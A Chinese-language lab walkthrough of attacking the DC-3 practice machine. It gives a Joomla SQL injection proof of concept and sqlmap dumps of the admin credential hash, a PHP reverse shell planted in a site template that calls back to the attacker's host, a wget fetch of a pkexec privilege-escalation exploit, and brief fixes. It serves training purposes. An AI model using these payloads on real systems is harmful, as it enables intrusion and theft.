DC-3渗透测试复现
目的:
获取最高权限以及5个flag
过程:
信息打点-sql注入-反弹shell- pkexec提权(CVE-2021-4034)
环境:
攻击机:kali(192.168.85.136)
靶机:DC_3(192.168.85.133)
复现:
一.信息收集
nmap -sP 192.168.85.0/24
或者:
arp-scan -l
发现存活主机IP 192.168.85.133 进行下一步扫描

只有80网页端口 扫描目标主机服务器情况
利用Awvs进行扫描获取进一步信息

看系统版本
Linux查看系统基本信息,版本信息(最全版)_如何查看linux系统信息-CSDN博客
二.漏洞利用
发现目标可能存在Joomla3.7.0 (CVE-2017-8917) SQL注入漏洞 我们直接搜该漏洞的利用方法

得到POC:
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

说明存在注入漏洞 我们直接sqlmap一把梭密码
'http://192.168.85.133/index.php?option=com_fields&view=fields&layout=modal&list%5Bfullordering%5D=' -batch --current-db

爆表

爆列名
'http://192.168.85.133/index.php?option=com_fields&view=fields&layout=modal&list%5Bfullordering%5D=' -D joomladb -T '#__users' --columns

得到账号密码
'http://192.168.85.133/index.php?option=com_fields&view=fields&layout=modal&list%5Bfullordering%5D=' -D joomladb -T '#__users' -C "username,password" --dump
admin
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

使用john进行破解密码为 snoopy

登入后台发现了提示

意思是您显然必须获得root权限。,通过对后台的各种查询,发现Extensions->Templates里面的模板可以执行PHP脚本 那我们直接可以执行反弹shell
利用fsockopen方法弹shell
php
$sock = fsockopen("192.168.85.136","6677" );
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
具体访问php通过web调用shell,php webshell下直接反弹shell(不借助任何其他语言)-CSDN博客
写入index.php

kali开启监听 然后浏览器访问/index.php 再使用py交互就可以了4
php
python3 -c "import pty;pty.spawn('/bin/bash')"
没发现啥利用信息 看看能不能进root

不行 看看提权的方法

发现 sudo提权和熟悉的pkexec提权
三.提权
sudo提权发现不行 因为不知道密码
换 pkexec提权发现可以
下载地址
https://codeload.github.com/berdav/CVE-2021-4034/zip/refs/heads/main
但是目标机下不了 所以你可以采用 下面wget进行下载 然后kali可以开启个http服务
php
wget http://192.168.85.136/CVE-2021-4034-main.zip

然后http服务也会显示访问成功

下载完解压就是CVE-2021-4034 pkexec提权漏洞了
php
cd CVE-2021-4034/
make
./cve-2021-4034
获得root权限
现在就可以找到flag了

当然还有其他的方法 ,但感觉这个更简单
修复:
1.修复存在sql注入的地方,可采用预编译+手动过滤危险函数
2.修复泄露的泄露敏感文件信息
3.取消一些能够提权的函数权限